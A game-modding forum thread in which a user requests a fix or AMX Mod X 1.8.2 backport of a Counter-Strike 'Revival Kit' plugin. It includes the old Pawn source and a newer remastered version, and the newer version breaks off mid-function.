Raised This Month: $32 Target: $400
 8% 

Request - Revival Kit Fix


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
Ark_Procession
Senior Member
Join Date: Jun 2020
Location: Argentina
Old 03-27-2021 , 13:09   Request - Revival Kit Fix
Reply With Quote #1

Hello Everyone! last year i requested a fix for a revival kit plugin.

After i requested this, +ARUKARI-(user) answered me and had the courtesy to bring it back up to the last amx version, but he wouldn't port it to the version i use, which is 1.8.2.

I have a lots of plugin that cannot be ported, and it will be easier if i could have this plugin working with the minimum functions at least.

Currently it works but have some bugs. It was from another modder that abandoned the forum years ago and i kept it because it's really a game changer for me and my friends. Brings a lot of fun.

If anyone else is willing to port Arukari's back to 1.8.2 or fix the old plugin i would be grateful.

Old plugin bugs:
-Sometimes revive doesn't work when there are enemy corpses near.
-Sometimes you revive as a flying entity that can insta kill everyone with 1 click (hilarious)
-Sometimes you revive with no crosshair.

As you see it's not a lot that is not working (i don't know about code work) and also this errors luckily do not happen very often.

Note: This is the old code, newer code by arukari is down below and also brings up more functions i think:

HTML Code:
#include <amxmodx>
#include <cstrike>
#include <fakemeta_util>

#define MAX_PLAYERS 	32

#define TASKID_REVIVE 	1337
#define TASKID_RESPAWN 	1338
#define TASKID_CHECKRE 	1339
#define TASKID_CHECKST 	13310
#define TASKID_ORIGIN 	13311
#define TASKID_SETUSER 	13312

#define pev_zorigin	pev_fuser4
#define seconds(%1) ((1<<12) * (%1))

new MODEL_RKIT[] 	= "models/w_medkit.mdl"

new SOUND_START[] 	= "items/medshot4.wav"
new SOUND_FINISHED[] 	= "items/smallmedkit2.wav"
new SOUND_FAILED[] 	= "items/medshotno1.wav"
new SOUND_EQUIP[]	= "items/ammopickup2.wav"

enum
{
	ICON_HIDE = 0,
	ICON_SHOW,
	ICON_FLASH
}

new bool:g_haskit[MAX_PLAYERS+1]
new Float:g_revive_delay[MAX_PLAYERS+1]
new Float:g_body_origin[MAX_PLAYERS+1][3]
new bool:g_wasducking[MAX_PLAYERS+1]

new g_msg_bartime
new g_msg_screenfade
new g_msg_statusicon
new g_msg_clcorpse

new cvar_revival_time
new cvar_revival_health
new cvar_revival_dis
new cvar_revival_cost

static const PLUGIN_NAME[] 	= "Revival Kit"
static const PLUGIN_AUTHOR[] 	= "Cheap_Suit"
static const PLUGIN_VERSION[]	= "1.1"

public plugin_init()
{
	register_plugin(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR)
	register_cvar(PLUGIN_NAME, PLUGIN_VERSION, FCVAR_SPONLY|FCVAR_SERVER)
	
	register_clcmd("say /buyrkit", 	"cmd_buyrkit")
	register_clcmd("buyrkit", 	"cmd_buyrkit")
	
	cvar_revival_time 	= register_cvar("amx_revkit_time", 	"6")
	cvar_revival_health 	= register_cvar("amx_revkit_health", 	"75")
	cvar_revival_dis 	= register_cvar("amx_revkit_distance", 	"70.0")
	cvar_revival_cost 	= register_cvar("amx_revkit_cost", 	"1200")
	
	g_msg_bartime	= get_user_msgid("BarTime")
	g_msg_clcorpse	= get_user_msgid("ClCorpse")
	g_msg_screenfade= get_user_msgid("")
	g_msg_statusicon= get_user_msgid("StatusIcon")

	register_message(g_msg_clcorpse, "message_clcorpse")
	
	register_event("DeathMsg", 	"event_death", 	"a")
	register_event("HLTV", 		"event_hltv", 	"a", "1=0", "2=0")
	
	register_forward(FM_Touch, 		"fwd_touch")
	register_forward(FM_EmitSound, 		"fwd_emitsound")
	register_forward(FM_PlayerPostThink, 	"fwd_playerpostthink")
}

public plugin_precache()
{
	precache_model("models/player/arctic/arctic.mdl")
	precache_model("models/player/terror/terror.mdl")
	precache_model("models/player/leet/leet.mdl")
	precache_model("models/player/guerilla/guerilla.mdl")
	precache_model("models/player/gign/gign.mdl")
	precache_model("models/player/sas/sas.mdl")
	precache_model("models/player/gsg9/gsg9.mdl")
	precache_model("models/player/urban/urban.mdl")
	precache_model("models/player/vip/vip.mdl")
	
	precache_model(MODEL_RKIT)
	
	precache_sound(SOUND_START)
	precache_sound(SOUND_FINISHED)
	precache_sound(SOUND_FAILED)
	precache_sound(SOUND_EQUIP)
}

public cmd_buyrkit(id)
{
	if(!is_user_alive(id))
		client_print(id, print_chat, "You need to be alive.")	
	else if(g_haskit[id])
		client_print(id, print_chat, "You already have a revival kit.")
	else if(cs_get_user_money(id) < get_pcvar_num(cvar_revival_cost))
		client_print(id, print_chat, "You dont have enough money (Cost:$%d)", get_pcvar_num(cvar_revival_cost))
	else
	{
		g_haskit[id] = true
		cs_set_user_money(id, cs_get_user_money(id) - get_pcvar_num(cvar_revival_cost))
		client_print(id, print_chat, "You bought a revival kit. Hold your +use key (E) to revive a teammate.")
		client_cmd(id, "spk %s", SOUND_EQUIP)
		
	}
	return PLUGIN_HANDLED
}

public message_clcorpse()	
	return PLUGIN_HANDLED
	
public client_connect(id)
{
	g_haskit[id] = false
	reset_player(id)
}

public event_hltv()
{
	fm_remove_entity_name("fake_corpse")
	fm_remove_entity_name("revival_kit")
	
	static players[32], num
	get_players(players, num, "a")
	for(new i = 0; i < num; ++i)
		reset_player(players[i])
}

public reset_player(id)
{
	remove_task(TASKID_REVIVE + id)
	remove_task(TASKID_RESPAWN + id)
	remove_task(TASKID_CHECKRE + id)
	remove_task(TASKID_CHECKST + id)
	remove_task(TASKID_ORIGIN + id)
	remove_task(TASKID_SETUSER + id)
	
	msg_bartime(id, 0)
	g_revive_delay[id] 	= 0.0
	g_wasducking[id] 	= false
	g_body_origin[id] 	= Float:{0.0, 0.0, 0.0}
}

public client_disconnect(id)
{
	new ent
	while((ent = fm_find_ent_by_owner(ent, "fake_corpse", id)) != 0)
		fm_remove_entity(ent)
}

public fwd_touch(kit, id)
{
	if(!fm_is_valid_ent(kit))
		return FMRES_IGNORED
	
	if(!is_user_alive(id) || g_haskit[id])
		return FMRES_IGNORED
	
	new classname[32]
	pev(kit, pev_classname, classname, 31)
	
	if(equal(classname, "revival_kit"))
	{
		fm_remove_entity(kit)
		g_haskit[id] = true
		client_cmd(id, "spk %s", SOUND_EQUIP)
	}
	return FMRES_IGNORED
}

public fwd_playerpostthink(id)
{
	if(!is_user_connected(id) || !g_haskit[id])
		return FMRES_IGNORED
	
	if(!is_user_alive(id))
	{
		msg_statusicon(id, ICON_HIDE)
		return FMRES_IGNORED
	}
	
	new body = find_dead_body(id)
	if(fm_is_valid_ent(body))
	{
		new lucky_bastard = pev(body, pev_owner)
	
		if(!is_user_connected(lucky_bastard))
			return FMRES_IGNORED

		new lb_team = get_user_team(lucky_bastard)
		new rev_team = get_user_team(id)
		if(lb_team == 1 || lb_team == 2 && lb_team == rev_team)
			msg_statusicon(id, ICON_FLASH)
	}
	else
		msg_statusicon(id, ICON_SHOW)
	
	return FMRES_IGNORED
}

public event_death()
{
	new id = read_data(2)
	
	reset_player(id)
	if(g_haskit[id])
	{
		g_haskit[id] = false
		drop_kit(id)
	}
	
	static Float:minsize[3]
	pev(id, pev_mins, minsize)

	if(minsize[2] == -18.0)
		g_wasducking[id] = true
	else
		g_wasducking[id] = false
	
	set_task(0.5, "task_check_dead_flag", id)
}

public drop_kit(id)
{
	new Float:velocity[3]
	velocity_by_aim(id, 34, velocity)
		
	new Float:origin[3]
	pev(id, pev_origin, origin)

	origin[0] += velocity[0]
	origin[1] += velocity[1]

	new kit = fm_create_entity("info_target")
	if(fm_is_valid_ent(kit))
	{
		set_pev(kit, pev_classname, "revival_kit")
		engfunc(EngFunc_SetModel, kit, MODEL_RKIT)
		engfunc(EngFunc_SetOrigin, kit, origin)
		engfunc(EngFunc_SetSize, kit, Float:{-2.5, -2.5, -1.5}, Float:{2.5, 2.5, 1.5})
		set_pev(kit, pev_solid, SOLID_TRIGGER)
		set_pev(kit, pev_movetype, MOVETYPE_TOSS)
	}
	return PLUGIN_CONTINUE
}

public task_check_dead_flag(id)
{
	if(!is_user_connected(id))
		return
	
	if(pev(id, pev_deadflag) == DEAD_DEAD)
		create_fake_corpse(id)
	else
		set_task(0.5, "task_check_dead_flag", id)
}	

public create_fake_corpse(id)
{
	set_pev(id, pev_effects, EF_NODRAW)
	
	static model[32]
	cs_get_user_model(id, model, 31)
		
	static player_model[64]
	format(player_model, 63, "models/player/%s/%s.mdl", model, model)
			
	static Float: player_origin[3]
	pev(id, pev_origin, player_origin)
		
	static Float:mins[3]
	mins[0] = -16.0
	mins[1] = -16.0
	mins[2] = -34.0
	
	static Float:maxs[3]
	maxs[0] = 16.0
	maxs[1] = 16.0
	maxs[2] = 34.0
	
	if(g_wasducking[id])
	{
		mins[2] /= 2
		maxs[2] /= 2
	}
		
	static Float:player_angles[3]
	pev(id, pev_angles, player_angles)
	player_angles[2] = 0.0
				
	new sequence = pev(id, pev_sequence)
	
	new ent = fm_create_entity("info_target")
	if(ent)
	{
		set_pev(ent, pev_classname, "fake_corpse")
		engfunc(EngFunc_SetModel, ent, player_model)
		engfunc(EngFunc_SetOrigin, ent, player_origin)
		engfunc(EngFunc_SetSize, ent, mins, maxs)
		set_pev(ent, pev_solid, SOLID_TRIGGER)
		set_pev(ent, pev_movetype, MOVETYPE_TOSS)
		set_pev(ent, pev_owner, id)
		set_pev(ent, pev_angles, player_angles)
		set_pev(ent, pev_sequence, sequence)
		set_pev(ent, pev_frame, 9999.9)
	}	
}

public fwd_emitsound(id, channel, sound[]) 
{
	if(!is_user_alive(id) || !g_haskit[id])
		return FMRES_IGNORED	
	
	if(!equali(sound, "common/wpn_denyselect.wav"))
		return FMRES_IGNORED	
	
	if(task_exists(TASKID_REVIVE + id))
		return FMRES_IGNORED
	
	if(!(fm_get_user_button(id) & IN_USE))
		return FMRES_IGNORED
	
	new body = find_dead_body(id)
	if(!fm_is_valid_ent(body))
		return FMRES_IGNORED

	new lucky_bastard = pev(body, pev_owner)
	new lb_team = get_user_team(lucky_bastard)
	new rev_team = get_user_team(id)
	if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
		return FMRES_IGNORED

	static name[32]
	get_user_name(lucky_bastard, name, 31)
	client_print(id, print_chat, "Reviving %s", name)
		
	new revivaltime = get_pcvar_num(cvar_revival_time)
	msg_bartime(id, revivaltime)
	
	new Float:gametime = get_gametime()
	g_revive_delay[id] = gametime + float(revivaltime) - 0.01

	emit_sound(id, CHAN_AUTO, SOUND_START, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
	set_task(0.0, "task_revive", TASKID_REVIVE + id)
	
	return FMRES_SUPERCEDE
}

public task_revive(taskid)
{
	new id = taskid - TASKID_REVIVE
	
	if(!is_user_alive(id))
	{
		failed_revive(id)
		return FMRES_IGNORED
	}
	
	if(!(fm_get_user_button(id) & IN_USE))
	{
		failed_revive(id)
		return FMRES_IGNORED
	}
	
	new body = find_dead_body(id)
	if(!fm_is_valid_ent(body))
	{
		failed_revive(id)
		return FMRES_IGNORED
	}
	
	new lucky_bastard = pev(body, pev_owner)
	if(!is_user_connected(lucky_bastard))
	{
		failed_revive(id)
		return FMRES_IGNORED
	}
	
	new lb_team = get_user_team(lucky_bastard)
	new rev_team = get_user_team(id)
	if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
	{
		failed_revive(id)
		return FMRES_IGNORED
	}
	
	static Float:velocity[3]
	pev(id, pev_velocity, velocity)
	velocity[0] = 0.0
	velocity[1] = 0.0
	set_pev(id, pev_velocity, velocity)
	
	new Float:gametime = get_gametime()
	if(g_revive_delay[id] < gametime)
	{
		if(findemptyloc(body, 10.0))
		{
			fm_remove_entity(body)
			emit_sound(id, CHAN_AUTO, SOUND_FINISHED, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
			set_task(0.1, "task_respawn", TASKID_RESPAWN + lucky_bastard)
		}
		else
			 failed_revive(id)
	}
	else
		set_task(0.1, "task_revive", TASKID_REVIVE + id)
	
	return FMRES_IGNORED
}

public failed_revive(id)
{
	msg_bartime(id, 0)
	emit_sound(id, CHAN_AUTO, SOUND_FAILED, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
}

public task_origin(taskid)
{
	new id = taskid - TASKID_ORIGIN
	engfunc(EngFunc_SetOrigin, id, g_body_origin[id])
	
	static  Float:origin[3]
	pev(id, pev_origin, origin)
	set_pev(id, pev_zorigin, origin[2])
		
	set_task(0.1, "task_stuck_check", TASKID_CHECKST + id)
}

stock find_dead_body(id)
{
	static Float:origin[3]
	pev(id, pev_origin, origin)
	
	new ent
	static classname[32]	
	while((ent = fm_find_ent_in_sphere(ent, origin, get_pcvar_float(cvar_revival_dis))) != 0) 
	{
		pev(ent, pev_classname, classname, 31)
		if(equali(classname, "fake_corpse") && fm_is_ent_visible(id, ent))
			return ent
	}
	return 0
}

stock msg_bartime(id, seconds) 
{
	if(is_user_bot(id))
		return
	
	message_begin(MSG_ONE, g_msg_bartime, _, id)
	write_byte(seconds)
	write_byte(0)
	message_end()
}

stock msg_statusicon(id, status)
{
	if(is_user_bot(id))
		return
	
	message_begin(MSG_ONE, g_msg_statusicon, _, id)
	write_byte(status)
	write_string("rescue")
	write_byte(255)
	write_byte(100)
	write_byte(0)
	message_end()
}

 public task_respawn(taskid) 
 {
	new id = taskid - TASKID_RESPAWN
	
	set_pev(id, pev_deadflag, DEAD_RESPAWNABLE)
	dllfunc(DLLFunc_Spawn, id)
	set_pev(id, pev_iuser1, 0)
	
	set_task(0.1, "task_check_respawn", TASKID_CHECKRE + id)
}

public task_check_respawn(taskid)
{
	new id = taskid - TASKID_CHECKRE
	
	if(pev(id, pev_iuser1))
		set_task(0.1, "task_respawn", TASKID_RESPAWN + id)
	else
		set_task(0.1, "task_origin", TASKID_ORIGIN + id)
}
 
public task_stuck_check(taskid)
{
	new id = taskid - TASKID_CHECKST

	static Float:origin[3]
	pev(id, pev_origin, origin)
	
	if(origin[2] == pev(id, pev_zorigin))
		set_task(0.1, "task_respawn", TASKID_RESPAWN + id)
	else
		set_task(0.1, "task_setplayer", TASKID_SETUSER + id)
}

public task_setplayer(taskid)
{
	new id = taskid - TASKID_SETUSER
	
	fm_give_item(id, "weapon_knife")
	fm_set_user_health(id, get_pcvar_num(cvar_revival_health))
	
	message_begin(MSG_ONE,g_msg_screenfade, _, id)      
	write_short(seconds(2))
	write_short(seconds(2))   
	write_short(0)  
	write_byte(0)    
	write_byte(0)    
	write_byte(0)     
	write_byte(255)    
	message_end()
}


stock bool:findemptyloc(ent, Float:radius)
{
	if(!fm_is_valid_ent(ent))
		return false

	static Float:origin[3]
	pev(ent, pev_origin, origin)
	origin[2] += 2.0
	
	new owner = pev(ent, pev_owner)
	new num = 0, bool:found = false
	
	while(num <= 100)
	{
		if(is_hull_vacant(origin))
		{
			g_body_origin[owner][0] = origin[0]
			g_body_origin[owner][1] = origin[1]
			g_body_origin[owner][2] = origin[2]
			
			found = true
			break
		}
		else
		{
			origin[0] += random_float(-radius, radius)
			origin[1] += random_float(-radius, radius)
			origin[2] += random_float(-radius, radius)
			
			num++
		}
	}
	return found
}

stock bool:is_hull_vacant(const Float:origin[3])
{
	new tr = 0
	engfunc(EngFunc_TraceHull, origin, origin, 0, HULL_HUMAN, 0, tr)
	if(!get_tr2(tr, TR_StartSolid) && !get_tr2(tr, TR_AllSolid) && get_tr2(tr, TR_InOpen))
		return true
	
	return false
}








Arukari's Code:

HTML Code:
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <fun>
#include <engine>
#include <fakemeta>
#include <hamsandwich>
#include <xs>

//=====================================
//  VERSION CHECK
//=====================================
#if AMXX_VERSION_NUM < 190
	#assert "AMX Mod X v1.9.0 or Higher library required!"
#endif

#pragma compress 					1
#pragma semicolon 					1
#pragma tabsize 					4

static const PLUGIN_NAME	[] 		= "Revival Kit / Remastered";
static const PLUGIN_AUTHOR	[] 		= "Aoi.Kagase";
static const PLUGIN_VERSION	[]		= "0.1";

#if !defined MAX_PLAYERS
	#define  MAX_PLAYERS	          	32
#endif
#if !defined MAX_RESOURCE_PATH_LENGTH
	#define  MAX_RESOURCE_PATH_LENGTH 	64
#endif
#if !defined MAX_NAME_LENGTH
	#define  MAX_NAME_LENGTH			32
#endif

#define TASKID_DIE_COUNT			41320
#define TASKID_REVIVING				41360
#define TASKID_CHECK_DEAD_FLAG		41400
#define TASKID_RESPAWN 	            41440
#define TASKID_CHECKRE 	            41480
#define TASKID_CHECKST 	            41520
#define TASKID_ORIGIN 	            41560
#define TASKID_SETUSER 	            41600

#define pev_zorigin					pev_fuser4
#define seconds(%1) 				((1<<12) * (%1))

#define HUDINFO_PARAMS

enum _:E_ICON_STATE
{
	ICON_HIDE = 0,
	ICON_SHOW,
	ICON_FLASH
};

enum _:E_SOUNDS
{
	SOUND_START,
	SOUND_FINISHED,
	SOUND_FAILED,
	SOUND_EQUIP,
};

enum _:E_MODELS
{
	R_KIT,
};

enum _:E_CVARS
{
	REVIVAL_HEALTH,
	REVIVAL_COST,
	REVIVAL_SC_FADE,
	REVIVAL_TIME,
	REVIVAL_SC_FADE_TIME,
	REVIVAL_DEATH_TIME,
	Float:REVIVAL_DISTANCE,
};

enum _:E_PLAYER_DATA
{
	bool:HAS_KIT		,
	bool:WAS_DUCKING	,
	bool:IS_DEAD		,
	Float:DEAD_LINE		,
	Float:REVIVE_DELAY	,
	Float:BODY_ORIGIN	[3],
};

enum _:E_CLASS_NAME
{
	I_TARGET,
	PLAYER,
	CORPSE,
	R_KIT,
};

enum _:E_MESSAGES
{
	MSG_BARTIME,
	MSG_SCREEN_FADE,
	MSG_STATUS_ICON,
	MSG_CLCORPSE,
}

new const ENT_MODELS[E_MODELS][MAX_RESOURCE_PATH_LENGTH] = 
{
	"models/w_medkit.mdl"
};

new const ENT_SOUNDS[E_SOUNDS][MAX_RESOURCE_PATH_LENGTH] = 
{
	"items/medshot4.wav",
	"items/smallmedkit2.wav",
	"items/medshotno1.wav",
	"items/ammopickup2.wav",
};

new const ENTITY_CLASS_NAME[E_CLASS_NAME][MAX_NAME_LENGTH] = 
{
	"info_target",
	"player",
	"fake_corpse",
	"revival_kit",
};

new g_cvars			[E_CVARS];
new g_msg_data		[E_MESSAGES];
new g_player_data	[MAX_PLAYERS + 1][E_PLAYER_DATA];
new g_sync_obj;
//====================================================
//  PLUGIN PRECACHE
//====================================================
public plugin_precache() 
{
	check_plugin();

	for (new i = 0; i < sizeof(ENT_SOUNDS); i+= MAX_RESOURCE_PATH_LENGTH)
		precache_sound(ENT_SOUNDS[i]);

	for (new i = 0; i < sizeof(ENT_MODELS); i+= MAX_RESOURCE_PATH_LENGTH) 
		precache_model(ENT_MODELS[i]);

	return PLUGIN_CONTINUE;
}

//====================================================
//  PLUGIN INITIALIZE
//====================================================
public plugin_init()
{
	register_plugin		(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR);
	register_cvar		(PLUGIN_NAME, PLUGIN_VERSION, FCVAR_SPONLY|FCVAR_SERVER);

	register_clcmd		("say /buyrkit", 	"CmdBuyRKit");
	register_clcmd		("buyrkit", 		"CmdBuyRKit");

	bind_pcvar_num		(create_cvar("rkit_health", 			"75"), 		g_cvars[REVIVAL_HEALTH]);
	bind_pcvar_num		(create_cvar("rkit_cost", 				"1200"), 	g_cvars[REVIVAL_COST]);
	bind_pcvar_num		(create_cvar("rkit_screen_fade",		"1"), 		g_cvars[REVIVAL_SC_FADE]);
	bind_pcvar_num		(create_cvar("rkit_delay_revive", 		"3"), 		g_cvars[REVIVAL_TIME]);
	bind_pcvar_num		(create_cvar("rkit_delay_die", 			"30"), 		g_cvars[REVIVAL_DEATH_TIME]);
	bind_pcvar_num		(create_cvar("rkit_screen_fade_time", 	"2"), 		g_cvars[REVIVAL_SC_FADE_TIME]);
	bind_pcvar_float	(create_cvar("rkit_distance", 			"70.0"), 	g_cvars[REVIVAL_DISTANCE]);

	RegisterHam			(Ham_Touch,	ENTITY_CLASS_NAME[I_TARGET],"RKitTouch");
	RegisterHamPlayer	(Ham_Killed,							"PlayerKilled");
	RegisterHamPlayer	(Ham_Player_PostThink,					"PlayerPostThink");

	register_event_ex	("HLTV", 								"RoundStart", RegisterEvent_Global, "1=0", "2=0");
	register_message 	(g_msg_data[MSG_CLCORPSE],				"message_clcorpse");
	// Register Forward.
	register_forward	(FM_CmdStart,		"PlayerCmdStart");

	g_msg_data	[MSG_BARTIME]		= get_user_msgid("BarTime");
	g_msg_data	[MSG_CLCORPSE]		= get_user_msgid("ClCorpse");
	g_msg_data	[MSG_SCREEN_FADE]	= get_user_msgid("ScreenFade");
	g_msg_data	[MSG_STATUS_ICON]	= get_user_msgid("StatusIcon");
	g_sync_obj = CreateHudSyncObj();
}
// ====================================================
//  Bot Register Ham.
// ====================================================
new g_bots_registered = false;
public client_authorized( id )
{
    if( !g_bots_registered && is_user_bot( id ) )
    {
        set_task( 0.1, "register_bots", id );
    }
}

public register_bots( id )
{
    if( !g_bots_registered && is_user_connected( id ) )
    {
        RegisterHamFromEntity( Ham_Killed, id, "PlayerKilled");
        g_bots_registered = true;
    }
}

public client_putinserver(id)
{
	g_player_data[id][HAS_KIT] = false;
	player_reset(id);
}

public client_disconnected(id)
{
	new ent;
	while ((ent = engfunc(EngFunc_FindEntityByString, ent, "classname", ENTITY_CLASS_NAME[CORPSE])))
	{
		if (pev(ent, pev_owner) == id)
			engfunc(EngFunc_RemoveEntity, ent);
	}
}

public CmdBuyRKit(id)
{
	if(!is_user_alive(id))
		client_print(id, print_chat, "You need to be alive.");
	else if(g_player_data[id][HAS_KIT])
		client_print(id, print_chat, "You already have a revival kit.");
	else if(!cs_get_user_buyzone(id))
		client_print(id, print_chat, "You need to be in the buyzone.");
	else if(cs_get_user_money(id) < g_cvars[REVIVAL_COST])
		client_print(id, print_chat, "You dont have enough money (Cost:$%d)", g_cvars[REVIVAL_COST]);
	else
	{
		g_player_data[id][HAS_KIT] = true;
		cs_set_user_money(id, cs_get_user_money(id) - g_cvars[REVIVAL_COST]);
		client_print(id, print_chat, "You bought a revival kit. Hold your +use key (E) to revive a teammate.");
		client_cmd(id, "spk %s", ENT_SOUNDS[SOUND_EQUIP]);
	}
	return PLUGIN_HANDLED;
}

public PlayerKilled(iVictim, iAttacker)
{
	player_reset(iVictim);
	if(g_player_data[iVictim][HAS_KIT])
	{
		g_player_data[iVictim][HAS_KIT] = false;
		drop_rkit(iVictim);
	}

	static Float:minsize[3];
	pev(iVictim, pev_mins, minsize);

	if(minsize[2] == -18.0)
		g_player_data[iVictim][WAS_DUCKING] = true;
	else
		g_player_data[iVictim][WAS_DUCKING] = false;
		
	g_player_data[iVictim][DEAD_LINE] = get_gametime();

	if (!is_user_bot(iVictim))
	set_task_ex(0.1, "PlayerDie", 		  TASKID_DIE_COUNT 		 + iVictim, _, _, SetTaskFlags:SetTask_Repeat);
	set_task_ex(0.5, "TaskCheckDeadFlag", TASKID_CHECK_DEAD_FLAG + iVictim, _, _, SetTaskFlags:SetTask_Repeat);

	return HAM_IGNORED;
}

#define GUAGE_MAX 30
public PlayerDie(taskid)
{
	new id = taskid - TASKID_DIE_COUNT;
	new Float:time = (get_gametime() - g_player_data[id][DEAD_LINE]);
	new Float:remaining = 0.0;
	new bar[31] = "";
	if (!is_user_alive(id))
	if (time < g_cvars[REVIVAL_DEATH_TIME])
	{
		remaining = g_cvars[REVIVAL_DEATH_TIME] - time;
		show_time_bar(100 / GUAGE_MAX, floatround(remaining * 100.0 / float(g_cvars[REVIVAL_DEATH_TIME]), floatround_ceil), bar);
		new timestr[6];
		get_time_format(remaining, timestr, charsmax(timestr));
		set_hudmessage(255, 50, 100, -1.00, -1.00, .effects= 0 , .holdtime= 0.1);
		ShowSyncHudMsg(id, g_sync_obj, "Possible resurrection time remaining: ^n%s^n[%s]", timestr, bar);
	}
	else
	{
		remove_target_entity(id, ENTITY_CLASS_NAME[CORPSE]);
		player_reset(id);
	}
	else
		remove_task(taskid);
}

stock show_time_bar(oneper, percent, bar[])
{
	for(new i = 0; i < 30; i++)
		bar[i] = ((i * oneper) < percent) ? '|' : '_';
	bar[30] = '^0';
}

public message_clcorpse()
{
	return PLUGIN_HANDLED;
}

public PlayerPostThink(id)
{
	// is user connected?
	if (!is_user_connected(id))
		return FMRES_IGNORED;

	// has user revive kit?
	if (!g_player_data[id][HAS_KIT])
		return FMRES_IGNORED;

	// is user dead?
	if (!is_user_alive(id))
	{
		// Hide Rescue icon.
		msg_statusicon(id, ICON_HIDE);
		return FMRES_IGNORED;
	}
	
	new body = find_dead_body(id);
	if(pev_valid(body))
	{
		new lucky_bastard = pev(body, pev_owner);
	
		if(!is_user_connected(lucky_bastard))
			return FMRES_IGNORED;

		new CsTeams:lb_team  = cs_get_user_team(lucky_bastard);
		new CsTeams:rev_team = cs_get_user_team(id);
		if(lb_team == CS_TEAM_T || lb_team == CS_TEAM_CT && lb_team == rev_team)
			msg_statusicon(id, ICON_FLASH);
	}
	else
		msg_statusicon(id, ICON_SHOW);
	
	return FMRES_IGNORED;
}

public RKitTouch(kit, id)
{
	if(!pev_valid(kit))
		return FMRES_IGNORED;
	
	if(!is_user_alive(id) || g_player_data[id][HAS_KIT])
		return FMRES_IGNORED;
	
	new classname[32];
	pev(kit, pev_classname, classname, 31);
	
	if(equal(classname, ENTITY_CLASS_NAME[R_KIT]))
	{
		engfunc(EngFunc_RemoveEntity, kit);
		g_player_data[id][HAS_KIT] = true;
		client_cmd(id, "spk %s", ENT_SOUNDS[SOUND_EQUIP]);
	}
	return FMRES_IGNORED;
}

public PlayerCmdStart(id, handle, random_seed)
{
	// Not alive
	if(!is_user_alive(id))
		return FMRES_IGNORED;

	// Get user old and actual buttons
	static iInButton, iInOldButton;
	iInButton	 = (get_uc(handle, UC_Buttons));
	iInOldButton = (get_user_oldbutton(id)) & IN_USE;

	// C4 is through.
	if ((pev(id, pev_weapons) & (1 << CSW_C4)) && (iInButton & IN_ATTACK))
		return FMRES_IGNORED;

	// USE KEY
	iInButton &= IN_USE;

	if (iInButton)
	{
		if (!iInOldButton)
		{
			if (g_player_data[id][HAS_KIT])
			{
				wait_revive(id);
				return FMRES_HANDLED;
			}
		}
	}
	else
	{
		if (iInOldButton)
		{
			if (task_exists(TASKID_REVIVING + id))
			{
				remove_task(TASKID_REVIVING + id);
				failed_revive(id);
			}
		}
	}
	return FMRES_IGNORED;
}

//====================================================
// Removing target put lasermine.
//====================================================
public wait_revive(id)
{
	// Removing Check.
	new body = find_dead_body(id);
	if(!pev_valid(body))
		return FMRES_IGNORED;

	new lucky_bastard 		= pev(body, pev_owner);
	new CsTeams:lb_team 	= cs_get_user_team(lucky_bastard);
	new CsTeams:rev_team 	= cs_get_user_team(id);
	if(lb_team != CS_TEAM_T && lb_team != CS_TEAM_CT || lb_team != rev_team)
		return FMRES_IGNORED;

	client_print(id, print_chat, "Reviving %n", lucky_bastard);

	if (g_cvars[REVIVAL_TIME] > 0.0)
		show_progress(id, g_cvars[REVIVAL_TIME]);
	
	new Float:gametime = get_gametime();
	g_player_data[id][REVIVE_DELAY] = (gametime + g_cvars[REVIVAL_TIME] - 0.01);

	emit_sound(id, CHAN_AUTO, ENT_SOUNDS[SOUND_START], VOL_NORM, ATTN_NORM, 0, PITCH_NORM);
	set_task_ex(0.1, "TaskRevive", TASKID_REVIVING + id, _,_, SetTaskFlags:SetTask_Repeat);

	return FMRES_HANDLED;
}

public TaskCheckDeadFlag(taskid)
{
	// log_amx("TaskCheckDeadFlag START");
	new id = taskid - TASKID_CHECK_DEAD_FLAG;
	if(!is_user_connected(id))
		return;
	
	if(pev(id, pev_deadflag) == DEAD_DEAD)
	{
		create_fake_corpse(id);
		remove_task(taskid);
	}
	// log_amx("TaskCheckDeadFlag END");
}	

public TaskRevive(taskid)
{
	// log_amx("TaskRevive START");
	new id = taskid - TASKID_REVIVING;
	new target, body;

	if (!can_target_revive(id, target, body))
	{
		failed_revive(id);
		remove_task(taskid);
		return PLUGIN_CONTINUE;
	}

	static Float:velocity[3];
	pev(id, pev_velocity, velocity);
	xs_vec_set(velocity, 0.0, 0.0, velocity[2]);
	set_pev(id, pev_velocity, velocity);		

	if(g_player_data[id][REVIVE_DELAY] < get_gametime())
	{
		if(findemptyloc(body, 10.0))
		{
			set_pev(body, pev_flags, pev(body, pev_flags) | FL_KILLME);			
			emit_sound(id, CHAN_AUTO, ENT_SOUNDS[SOUND_FINISHED], VOL_NORM, ATTN_NORM, 0, PITCH_NORM);
			set_task(0.1, "TaskReSpawn", TASKID_RESPAWN + target);
			remove_task(taskid);
		}
	}
	// log_amx("TaskRevive END");	
	return PLUGIN_CONTINUE;
}

 public TaskReSpawn(taskid) 
 {
	// log_amx("TaskReSpawn START");
	new id = taskid - TASKID_RESPAWN;
	
	set_pev(id, pev_deadflag, DEAD_RESPAWNABLE);
	dllfunc(DLLFunc_Spawn, id);
	set_pev(id, pev_iuser1, 0);
	
	set_task(0.1, "TaskCheckReSpawn", TASKID_CHECKRE + id);
	// log_amx("TaskReSpawn END");
}

public TaskCheckReSpawn(taskid)
{
	// log_amx("TaskCheckReSpawn START");
	new id = taskid - TASKID_CHECKRE;
	
	if(pev(id, pev_iuser1))
		set_task(0.1, "TaskReSpawn", TASKID_RESPAWN + id);
	else
		set_task(0.1, "TaskOrigin",  TASKID_ORIGIN + id);
	// log_amx("TaskCheckReSpawn END");
}

public TaskOrigin(taskid)
{
	// log_amx("TaskOrigin START");
	new id = taskid - TASKID_ORIGIN;
	engfunc(EngFunc_SetOrigin, id, g_player_data[id][BODY_ORIGIN]);
	
	static  Float:origin[3];
	pev(id, pev_origin, origin);
	set_pev(id, pev_zorigin, origin[2]);
		
	set_task(0.1, "TaskStuckCheck", TASKID_CHECKST + id);
	// log_amx("TaskOrigin END");
}

public TaskStuckCheck(taskid)
{
	// log_amx("TaskStuckCheck START");
	new id = taskid - TASKID_CHECKST;

